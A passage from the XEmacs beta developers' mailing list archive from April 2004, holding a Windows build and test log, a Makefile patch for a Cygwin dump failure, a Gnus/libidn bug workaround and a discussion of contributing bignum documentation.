(c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\) Using module-load-path (c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\modules) While compiling the end of the data in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\wid-edit.el: ** the function browse-url is not known to be defined. While compiling pui-report-package-bug in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\package-ui.el: ** assignment to free variable bugs ** reference to free variable bugs ** variable date bound but not referenced ** variable balloon bound but not referenced ** variable req bound but not referenced While compiling pui-display-maintainer: ** variable pkg-sym bound but not referenced While compiling the end of the data in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\gtk.el: ** the function gtk-import-function is not known to be defined. While compiling font-lock-add-keywords in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\font-lock.el: ** reference to free variable font-lock-keywords-alist ** assignment to free variable font-lock-keywords-alist While compiling font-lock-update-removed-keyword-alist: ** reference to free variable font-lock-removed-keywords-alist ** assignment to free variable font-lock-removed-keywords-alist While compiling font-lock-remove-keywords: ** reference to free variable font-lock-keywords-alist ** assignment to free variable font-lock-keywords-alist ** reference to free variable font-lock-removed-keywords-alist ** assignment to free variable font-lock-removed-keywords-alist While compiling toplevel forms in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\mule\thai-util.el: ** define-category called with 3 arguments, but accepts only 2 ** define-category called with 3 arguments, but accepts only 2 ** define-category called with 3 arguments, but accepts only 2 While compiling the end of the data: ** the function make-category-table is not known to be defined. While compiling toplevel forms in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\mule\lao-util.el: ** define-category called with 3 arguments, but accepts only 2 ** define-category called with 3 arguments, but accepts only 2 ** define-category called with 3 arguments, but accepts only 2 ** define-category called with 3 arguments, but accepts only 2 While compiling the end of the data: ** the function make-category-table is not known to be defined. While compiling ethio-modify-vowel in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\mule\ethio-util.el: ** decompose-composite-char is an obsolete function; use char-to-string instead. Installing in c:\Program Files\XEmacs\XEmacs-21.5-b17 ... 1 File(s) copied 1 File(s) copied 11 File(s) copied 1 File(s) copied 1 File(s) copied 1 File(s) copied 535 File(s) copied 139 File(s) copied 579 File(s) copied 1 File(s) copied 1 File(s) copied 1 File(s) copied Compilation finished at Sun Apr 18 23:59:29 > Contents of c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\xemacs-21.5-make-check-temacs.err > keeping lines matching > "^--\[\[\|\]\]$\|^\(cd\|n?make\)\s-\|errors?\|warnings?\|pure.*\(space\|size\)\|hides\b\|strange\|shadowings\|^Compil\(ing\s-+in\|ation\)\|^Using\|not\s-+found\|^While\s-+compiling.*\( \s-+.+\)*\|^Note:\|Installing\|[Ff]ile(s) copied\|\s-+tests\s-+\|^[A-Z] [^ ]+$\|^Wrong number of arguments:\|^ \*\* \|^\(FAIL\|SKIP\):" > and then deleting lines matching > "confl.*with.*auto-inlining\|^Formatting:\|^\s-*0 .*\(failure\|error\)s?" cd c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\ nmake /f xemacs.mak check-temacs Compilation started at Sun Apr 18 23:59:48 2004 +0200 (W. Europe Daylight Time) WARNING: Compiling without dependency information. Using load-path (c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\) Using module-load-path (c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\modules) base64-tests.el: 1234 of 1234 tests successful (100%). byte-compiler-tests.el: 66 of 66 tests successful (100%). 38 tests skipped because can't defadvice. SKIP: "Attempt to set non-symbol" BECAUSE "can't defadvice" SKIP: "Attempt to set constant symbol" BECAUSE "can't defadvice" SKIP: "Attempt to set constant symbol" BECAUSE "can't defadvice" SKIP: "^$" BECAUSE "can't defadvice" SKIP: "Attempt to let-bind non-symbol" BECAUSE "can't defadvice" SKIP: "Attempt to let-bind constant symbol" BECAUSE "can't defadvice" SKIP: "Attempt to let-bind constant symbol" BECAUSE "can't defadvice" SKIP: "Attempt to let-bind constant symbol" BECAUSE "can't defadvice" SKIP: "bound but not referenced" BECAUSE "can't defadvice" SKIP: "assignment to free variable" BECAUSE "can't defadvice" SKIP: "reference to free variable" BECAUSE "can't defadvice" SKIP: "called with 2 args, but requires 1" BECAUSE "can't defadvice" SKIP: "^$" BECAUSE "can't defadvice" SKIP: "set called with 1 arg, but requires 2" BECAUSE "can't defadvice" SKIP: "set called with 1 arg, but requires 2" BECAUSE "can't defadvice" SKIP: "set-default called with 1 arg, but requires 2" BECAUSE "can't defadvice" SKIP: "set-default called with 1 arg, but requires 2" BECAUSE "can't defadvice" SKIP: "malformed let binding" BECAUSE "can't defadvice" SKIP: "malformed let binding" BECAUSE "can't defadvice" SKIP: "Attempt to set non-symbol" BECAUSE "can't defadvice" SKIP: "Attempt to set constant symbol" BECAUSE "can't defadvice" SKIP: "Attempt to set constant symbol" BECAUSE "can't defadvice" SKIP: "^$" BECAUSE "can't defadvice" SKIP: "Attempt to let-bind non-symbol" BECAUSE "can't defadvice" SKIP: "Attempt to let-bind constant symbol" BECAUSE "can't defadvice" SKIP: "Attempt to let-bind constant symbol" BECAUSE "can't defadvice" SKIP: "Attempt to let-bind constant symbol" BECAUSE "can't defadvice" SKIP: "bound but not referenced" BECAUSE "can't defadvice" SKIP: "assignment to free variable" BECAUSE "can't defadvice" SKIP: "reference to free variable" BECAUSE "can't defadvice" SKIP: "called with 2 args, but requires 1" BECAUSE "can't defadvice" SKIP: "^$" BECAUSE "can't defadvice" SKIP: "set called with 1 arg, but requires 2" BECAUSE "can't defadvice" SKIP: "set called with 1 arg, but requires 2" BECAUSE "can't defadvice" SKIP: "set-default called with 1 arg, but requires 2" BECAUSE "can't defadvice" SKIP: "set-default called with 1 arg, but requires 2" BECAUSE "can't defadvice" SKIP: "malformed let binding" BECAUSE "can't defadvice" SKIP: "malformed let binding" BECAUSE "can't defadvice" c-tests.el: 4 of 4 tests successful (100%). case-tests.el: 1148 of 1148 tests successful (100%). ccl-tests.el: 4570 of 4570 tests successful (100%). database-tests.el: No tests run. extent-tests.el: 194 of 194 tests successful (100%). hash-table-tests.el: 9866 of 9866 tests successful (100%). lisp-tests.el: 3660 of 3660 tests successful (100%). md5-tests.el: 56 of 56 tests successful (100%). mule-tests.el: 232 of 236 tests successful ( 98%). FAIL: Assertion failed: (file-exists-p name2) FAIL: Assertion failed: (equal (file-truename name2) name1) FAIL: Assertion failed: (file-exists-p name2) FAIL: Assertion failed: (equal (file-truename name2) name1) regexp-tests.el: 284 of 284 tests successful (100%). symbol-tests.el: 246 of 246 tests successful (100%). syntax-tests.el: 56 of 56 tests successful (100%). 2 tests skipped because c-mode unavailable. SKIP: "comment and parse-partial-sexp tests" BECAUSE "c-mode unavailable" SKIP: "comment and parse-partial-sexp tests" BECAUSE "c-mode unavailable" weak-tests.el: 140 of 140 tests successful (100%). Compilation finished at Mon Apr 19 00:03:34 > Contents of c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\xemacs-21.5-make-check.err > keeping lines matching > "^--\[\[\|\]\]$\|^\(cd\|n?make\)\s-\|errors?\|warnings?\|pure.*\(space\|size\)\|hides\b\|strange\|shadowings\|^Compil\(ing\s-+in\|ation\)\|^Using\|not\s-+found\|^While\s-+compiling.*\( \s-+.+\)*\|^Note:\|Installing\|[Ff]ile(s) copied\|\s-+tests\s-+\|^[A-Z] [^ ]+$\|^Wrong number of arguments:\|^ \*\* \|^\(FAIL\|SKIP\):" > and then deleting lines matching > "confl.*with.*auto-inlining\|^Formatting:\|^\s-*0 .*\(failure\|error\)s?" cd c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\ nmake /f xemacs.mak check Compilation started at Mon Apr 19 00:03:44 2004 +0200 (W. Europe Daylight Time) WARNING: Compiling without dependency information. base64-tests.el: 1234 of 1234 tests successful (100%). byte-compiler-tests.el: 104 of 104 tests successful (100%). c-tests.el: 4 of 4 tests successful (100%). case-tests.el: 1148 of 1148 tests successful (100%). ccl-tests.el: 4570 of 4570 tests successful (100%). database-tests.el: No tests run. extent-tests.el: 194 of 194 tests successful (100%). hash-table-tests.el: 9866 of 9866 tests successful (100%). lisp-tests.el: 3660 of 3660 tests successful (100%). md5-tests.el: 56 of 56 tests successful (100%). mule-tests.el: 232 of 236 tests successful ( 98%). FAIL: Assertion failed: (file-exists-p name2) FAIL: Assertion failed: (equal (file-truename name2) name1) FAIL: Assertion failed: (file-exists-p name2) FAIL: Assertion failed: (equal (file-truename name2) name1) regexp-tests.el: 284 of 284 tests successful (100%). symbol-tests.el: 246 of 246 tests successful (100%). syntax-tests.el: 60 of 60 tests successful (100%). Compilation finished at Mon Apr 19 00:07:26 -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 18 19:50:22 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3INo5s25711; Sun, 18 Apr 2004 19:50:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3INnvw25608 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 19:49:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3INntB25595 for turnbull@tux.org; Sun, 18 Apr 2004 19:49:55 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3INnss25590 for ; Sun, 18 Apr 2004 19:49:55 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFM2p-0002es-00 for ; Mon, 19 Apr 2004 01:49:51 +0200 Received: from p508d38c2.dip.t-dialin.net ([80.141.56.194]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 19 Apr 2004 01:49:51 +0200 Received: from sven by p508d38c2.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 19 Apr 2004 01:49:51 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Date: Mon, 19 Apr 2004 01:46:33 +0200 Lines: 32 Message-ID: References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> <20040418185534.GA98278@dspnet.fr.eu.org> <3c71orjx.fsf@smtpmail.t-online.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d38c2.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:x/6TArzZsLa2pgm1he8one8bWxU= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, ok i made a cvs update and tried to build. This is the error. I think it is related to the temacs named temacs.exe on cygwin. WIN32_NATIVE is not active and i am not sure if it builds without --pdump. How do i make a backtrace ? Best regards Sven here is the error: Dumping under the name xemacs if test -f dump-size; then \ ../lib-src/insert-data-in-exec temacs xemacs.dmp xemacs ` ./temacs -si`; \ ret=$? ; \ if test ${ret} -eq 2; then \ rm -f dump-size ; \ else \ if test ${ret} -eq 1; then \ exit 1; \ else \ chmod +x xemacs ; \ fi ; \ fi ; \ fi Opening temacs failed: No such file or directory make[1]: *** [xemacs] Error 1 make[1]: Leaving directory `/usr/local/src/xemacs-21.5/src' make: *** [src] Error 2 ghs:/usr/local/src/xemacs-21.5 $ From xemacs-beta-admin@xemacs.org Sun Apr 18 20:27:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J0R2s16089; Sun, 18 Apr 2004 20:27:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J0Qwk16004 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 20:26:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J0Qvh15980 for turnbull@tux.org; Sun, 18 Apr 2004 20:26:57 -0400 Received: from sccrmhc11.comcast.net (sccrmhc11.comcast.net [204.127.202.55]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J0Qrs15936 for ; Sun, 18 Apr 2004 20:26:53 -0400 Received: from the-saint.the-saint.localdomain (pcp06945825pcs.nrockv01.md.comcast.net[69.138.30.56]) by comcast.net (sccrmhc11) with ESMTP id <2004041900264701100k10j1e>; Mon, 19 Apr 2004 00:26:48 +0000 To: Simon Josefsson Cc: xemacs-beta@xemacs.org, bugs@gnus.org Subject: Re: [Bug: 21.5-b17] sending mails using message mode and spelling From: Kaarthik Sivakumar In-Reply-To: (Simon Josefsson's message of "Sun, 18 Apr 2004 22:23:56 +0200") References: <8665bxjhpq.fsf@comcast.net> Date: Sun, 18 Apr 2004 20:29:58 -0400 Message-ID: <86y8osizcp.fsf@comcast.net> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (chayote, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>> "SJ" == Simon Josefsson writes: SJ> Short story: (setq message-use-idna nil) Ok, works. Thanks. SJ> Long story: SJ> I accept the blame for this, it has been reported before, and I'll try SJ> to get to it. If someone wants to know more, or even (I wish) fix it: SJ> The question is from Message, in Gnus, and happens when it recognize SJ> that you have Libidn installed, and that the message you are replying SJ> to contain an non-ASCII e-mail address in the From/To/Cc. All this SJ> would work just fine if it wasn't for two things: SJ> 1) the regexp to catch "e-mail address" is not good. What would be SJ> needed is a proper RFC 2822 parser, but we don't have a robust one. SJ> So it sometimes catches non e-mail addresses, which are more likely SJ> to be non-ASCII, thus triggering the code in the first place... SJ> 2) the question should be, e.g., "Replace with `xn--rksmrgs-5wao1o'?" SJ> The junk you are seeing comes from running the external program SJ> "idn" on some string, and it looks like it is trying to report an SJ> error of some kind. I haven't seen the one you got, can you tell SJ> if it comes from FreeBSD libc printf, or something? This specific message is coming from the FreeBSD port of libidn. Running idn on the command line gives this: ,---- | kaarthik@the-saint:~:157>idn | libidn 0.4.2 | Copyright 2002, 2003, 2004 Simon Josefsson. | GNU Libidn comes with NO WARRANTY, to the extent permitted by law. | You may redistribute copies of GNU Libidn under the terms of | the GNU Lesser General Public License. For more information | about these matters, see the file named COPYING.LIB. | Type each input string on a line by itself, terminated by a newline character. | xemacs.org | idn in free(): warning: junk pointer, too high to make sense | xemacs.org `---- So thats the message. After setting the variable, it no longer asks me anything. kaarthik From xemacs-beta-admin@xemacs.org Sun Apr 18 20:35:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J0Z1s21340; Sun, 18 Apr 2004 20:35:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J0YDH20874 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 20:34:13 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J0YCT20859 for turnbull@tux.org; Sun, 18 Apr 2004 20:34:12 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J0YCs20853 for ; Sun, 18 Apr 2004 20:34:12 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id 27F9934EB8; Mon, 19 Apr 2004 02:34:08 +0200 (CEST) Date: Mon, 19 Apr 2004 02:34:08 +0200 From: Olivier Galibert To: xemacs-beta@xemacs.org Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Message-ID: <20040419003408.GA23902@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , xemacs-beta@xemacs.org References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> <20040418185534.GA98278@dspnet.fr.eu.org> <3c71orjx.fsf@smtpmail.t-online.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="a8Wt8u1KmwUX3Y2C" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --a8Wt8u1KmwUX3Y2C Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, Apr 19, 2004 at 01:46:33AM +0200, Sven Grundmann wrote: > Hello, > ok i made a cvs update and tried to build. This is the error. > I think it is related to the temacs named temacs.exe on cygwin. Indeed. > WIN32_NATIVE is not active and i am not sure if it builds > without --pdump. > How do i make a backtrace ? XEmacs did not crash, so there is no backtrace. It's a makefile issue. Try the attached patch, it may help things. OG. --a8Wt8u1KmwUX3Y2C Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="cg.diff" Index: src/Makefile.in.in =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/Makefile.in.in,v retrieving revision 1.109 diff -u -r1.109 Makefile.in.in --- src/Makefile.in.in 2004/04/15 20:56:23 1.109 +++ src/Makefile.in.in 2004/04/19 00:32:05 @@ -418,8 +418,13 @@ RAW_EXE = $(PROGNAME) DUMP_ID = dump-id.o #ifndef WIN32_NATIVE +#ifndef CYGWIN DUMP_TARGET = $(PROGNAME) RAW_EXE = temacs +#else +DUMP_TARGET = $(PROGNAME).exe +RAW_EXE = temacs.exe +#endif #endif #else DUMP_TARGET = $(PROGNAME) --a8Wt8u1KmwUX3Y2C-- From xemacs-beta-admin@xemacs.org Sun Apr 18 23:53:24 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J3r4s25750; Sun, 18 Apr 2004 23:53:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J3qlo25394 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 23:52:47 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J3qkl25372 for turnbull@tux.org; Sun, 18 Apr 2004 23:52:46 -0400 Received: from web61008.mail.yahoo.com (web61008.mail.yahoo.com [216.155.196.97]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3J3qks25366 for ; Sun, 18 Apr 2004 23:52:46 -0400 Message-ID: <20040419035242.91713.qmail@web61008.mail.yahoo.com> Received: from [68.2.156.132] by web61008.mail.yahoo.com via HTTP; Sun, 18 Apr 2004 20:52:42 PDT Date: Sun, 18 Apr 2004 20:52:42 -0700 (PDT) From: Rick Rankin Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 To: Adrian Aichner , Olivier Galibert Cc: XEmacs Beta List In-Reply-To: <3c71orjx.fsf@smtpmail.t-online.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --- Adrian Aichner wrote: > Olivier Galibert writes: > > > On Sun, Apr 18, 2004 at 07:18:32PM +0200, Adrian Aichner wrote: > >> With the one correction you commited today, do you think all the ifdef > >> logic in your patch is correct now? > > > > Yes. > > > > > >> Armed with that information I will try to make the native Windows > >> build work again. > > > > It should be strictly identical as previous for windows, since it > > already had the dump file in the exe. Everything is supposed to be > > ifdefed-out. So if it doesn't link the problem is in the patch. > > Ah, thanks, I wasn't seeing the forrest for the trees. > > > > > > >> Could you please look into the issue Sven reported with the cygwin > >> build dying with signal 11? > > > > What does cygwin look like from a build point of view? pdump? > > WIN32_NATIVE? Using src/Makefile.* or not? > > Using configure && make > > Don't know if the cygwin build also works without pdump. Right now, I can't get b17 CVS to build at all on Cygwin. Haven't spent much time with it yet, though. I corrected one problem in configure.in and another in src/Makefile.in.in. Once I got past those, I believe the last problem I found was during dumping, but it was late last night and I too tired to look at it any more ;-) --Rick From xemacs-beta-admin@xemacs.org Mon Apr 19 00:00:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J405s31166; Mon, 19 Apr 2004 00:00:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J3xOJ30615 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 23:59:24 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J3xN130598 for turnbull@tux.org; Sun, 18 Apr 2004 23:59:23 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J3xMs30576 for ; Sun, 18 Apr 2004 23:59:22 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFPwF-0003hG-00; Mon, 19 Apr 2004 12:59:19 +0900 To: Kaarthik Sivakumar Cc: XEmacs Beta Subject: Re: Bignums, libmp and FreeBSD References: <863c7g4d9t.fsf@comcast.net> <864qrr2q16.fsf@comcast.net> <86n059jrv4.fsf@comcast.net> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 19 Apr 2004 12:59:19 +0900 In-Reply-To: <86n059jrv4.fsf@comcast.net> (Kaarthik Sivakumar's message of "Sun, 18 Apr 2004 10:14:07 -0400") Message-ID: <878ygszkh4.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Kaarthik" == Kaarthik Sivakumar writes: Kaarthik> Actually I am interested in something, but I would like Kaarthik> to start out with really small things. Cool! GNU synchs are always welcome, at the Lisp level. Synching GNU in core C is often quite difficult, though. Also, if there are modules (in the code structure sense, not in the "loadable ELL" sense) you're interested in, go read about them in the Internals manual (available from Info). The chances are about even that there won't be much ;-) so go to the source, and write Info nodes from what you learn that way. In particular, Jerry has promised Internals documentation for bignums, but he's willing to accept help from me; I bet he'd be overjoyed to get more from you for a platform he doesn't have access to! :-) Kaarthik> Mind numbing variable name changes, maybe?:) Now, _that_ is documented. :-) (if (emacs-version>= 21 5) (Info-goto-node "(internals)Major Textual Changes") (error "sorry, this node only available in 21.5")) -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 19 00:12:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J4C2s07474; Mon, 19 Apr 2004 00:12:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J4BDc06922 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 00:11:13 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J4BCL06886 for turnbull@tux.org; Mon, 19 Apr 2004 00:11:12 -0400 Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J4B6s06819; Mon, 19 Apr 2004 00:11:06 -0400 Received: from the-saint.the-saint.localdomain (pcp06945825pcs.nrockv01.md.comcast.net[69.138.30.56]) by comcast.net (rwcrmhc11) with ESMTP id <2004041904110401300fiaa7e>; Mon, 19 Apr 2004 04:11:05 +0000 To: "Stephen J. Turnbull" Cc: XEmacs Beta Subject: Re: Bignums, libmp and FreeBSD From: Kaarthik Sivakumar In-Reply-To: <878ygszkh4.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Mon, 19 Apr 2004 12:59:19 +0900") References: <863c7g4d9t.fsf@comcast.net> <864qrr2q16.fsf@comcast.net> <86n059jrv4.fsf@comcast.net> <878ygszkh4.fsf@tleepslib.sk.tsukuba.ac.jp> Date: Mon, 19 Apr 2004 00:14:15 -0400 Message-ID: <86pta4ioyw.fsf@comcast.net> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (chayote, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>> "SJT" == Stephen J Turnbull writes: SJT> Cool! I hope so :) SJT> GNU synchs are always welcome, at the Lisp level. Synching GNU in SJT> core C is often quite difficult, though. I havent run GNU Emacs since about 1997 or so, when I discovered XEmacs. I can definitely download it again and see whats going on there. SJT> Also, if there are modules (in the code structure sense, not in SJT> the "loadable ELL" sense) you're interested in, go read about SJT> them in the Internals manual (available from Info). The chances SJT> are about even that there won't be much ;-) so go to the source, SJT> and write Info nodes from what you learn that way. SJT> In particular, Jerry has promised Internals documentation for SJT> bignums, but he's willing to accept help from me; I bet he'd be SJT> overjoyed to get more from you for a platform he doesn't have SJT> access to! :-) Actually I am looking at the suggested and supported new bignum interface for FreeBSD 5+ and I am trying to see if I can add that interface to XEmacs' bignum. Although the fact that libgmp exists and works on FreeBSD reduces my motivation for doing that. I can definitely get more information for Jerry to add to his doc. And I can also help fill in some missing documentation. Ok, this sounds interesting already. Kaarthik> Mind numbing variable name changes, maybe?:) SJT> Now, _that_ is documented. :-) Good Lord! This I definitely did not expect! kaarthik From xemacs-beta-admin@xemacs.org Mon Apr 19 01:08:22 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J581s01899; Mon, 19 Apr 2004 01:08:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J57MG01486 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 01:07:22 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J57Lx01469 for turnbull@tux.org; Mon, 19 Apr 2004 01:07:21 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J57Ks01450 for ; Mon, 19 Apr 2004 01:07:20 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFR00-0004Cr-00; Mon, 19 Apr 2004 14:07:16 +0900 To: Kaarthik Sivakumar Cc: XEmacs Beta Subject: Re: Bignums, libmp and FreeBSD References: <863c7g4d9t.fsf@comcast.net> <864qrr2q16.fsf@comcast.net> <86n059jrv4.fsf@comcast.net> <878ygszkh4.fsf@tleepslib.sk.tsukuba.ac.jp> 